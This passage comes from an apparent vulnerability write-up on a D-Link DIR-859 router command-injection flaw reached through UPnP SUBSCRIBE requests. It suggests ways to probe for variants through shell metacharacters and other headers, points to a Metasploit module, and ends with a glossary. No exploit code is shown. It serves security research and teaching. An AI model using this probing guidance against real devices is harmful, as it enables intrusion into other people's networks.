GENA_notify_init(): trace whether any other caller passes an attacker-controlled string as$shell_file. A positive result is a filename containing injected characters in the script path. - Command substitution variants: instead of backquotes, try other shell metacharacters in the
servicevalue and observe whether the generated script executes them. A positive result is command output or a side effect such as a listening service. - The
Callbackheader path: the code requires a/after the scheme before reaching the vulnerablesprintf(). Test whether other header values (HTTP_SID,HTTP_TIMEOUT,HTTP_NT) reach the same buffer with weaker checks. A positive result is a request that reachesxmldbc_ephp()with attacker data in a field other thanservice.
The researchers link a video, Analysis + Exploit Metasploit, from their repository s1kr10s/D-Link-DIR-859-RCE. Metasploit is a well-known collection of ready-made exploit tools, so a module is a packaged version of this attack.
Glossary
- RCE (remote code execution): a bug that lets an attacker make a device run commands of their choosing.
- Unauthenticated: no login or password is required to trigger the bug.
- LAN: local area network, the private network inside a home or office.
- Firmware: the software built into a device such as a router.
- Firmware image: the downloadable file containing a device's firmware.
- MIPS 32-bit: a family of processors and their instruction size, common in small network devices.
- Binary: a compiled program in machine-readable form.
- Decompiling: turning a compiled binary back into readable source-like code.
- Function: a named block of code inside a program.
- UPnP: a protocol that lets devices on a private network discover each other and open ports automatically.
- Port: a numbered door on a computer through which a service receives traffic.
- Protocol: an agreed set of rules for communication between computers.
- PHP: a programming language often used for web pages and small web scripts.
- Shell script: a text file of commands that the shell runs.
- Shell: the program that reads and runs commands on a system.
- Buffer: a reserved area of memory holding text or data.
sprintf(): a function that builds one string from a template and several values.- Environment variable: a named value passed to a program by the system that starts it.
- Request method: the verb at the start of a web request, such as
GET,POSTorSUBSCRIBE. - Header: an extra line of information sent with a web request or response.
- URI / URL: the address of a resource, including its parameters.
- Parameter: an extra setting in a URL, after the
?. strchr(): a function that finds the first occurrence of a character in a string.strncmp(): a function that compares the first N characters of two strings.strcasecmp(): a function that compares two strings ignoring upper and lower case.- Pointer: a value that says where in memory something is stored.
- Offset: a number of positions to move from a starting point.
- Process ID (PID): the number the operating system gives to a running program.
- Socket: one end of a network connection inside a program.
send(): a function that transmits data through a socket.- UUID: a long label used to identify something uniquely.
fwrite(): a function that writes data to a file./dev/null: a special file that discards anything written to it.- Backquotes: shell syntax that runs the text between them as a command and substitutes its output.
- Command substitution: the shell feature of replacing a command with its output.
- Sanitisation: cleaning input before use, for example by removing or escaping special characters.
- Payload: the part of an attack that carries the actual instruction.
- Proof of concept (PoC): a small program that demonstrates a bug works.
- Callback address: a machine controlled by the attacker that the target is asked to contact.
- TCP: a reliable network protocol used for most connections.
- Telnet: an old, plain-text protocol for getting a command prompt on a remote machine.
telnetd: the program that provides a telnet service on a machine.- Metasploit: a collection of ready-made exploit tools; a module is a packaged exploit for it.
- CVE: a public identifier given to a known security vulnerability.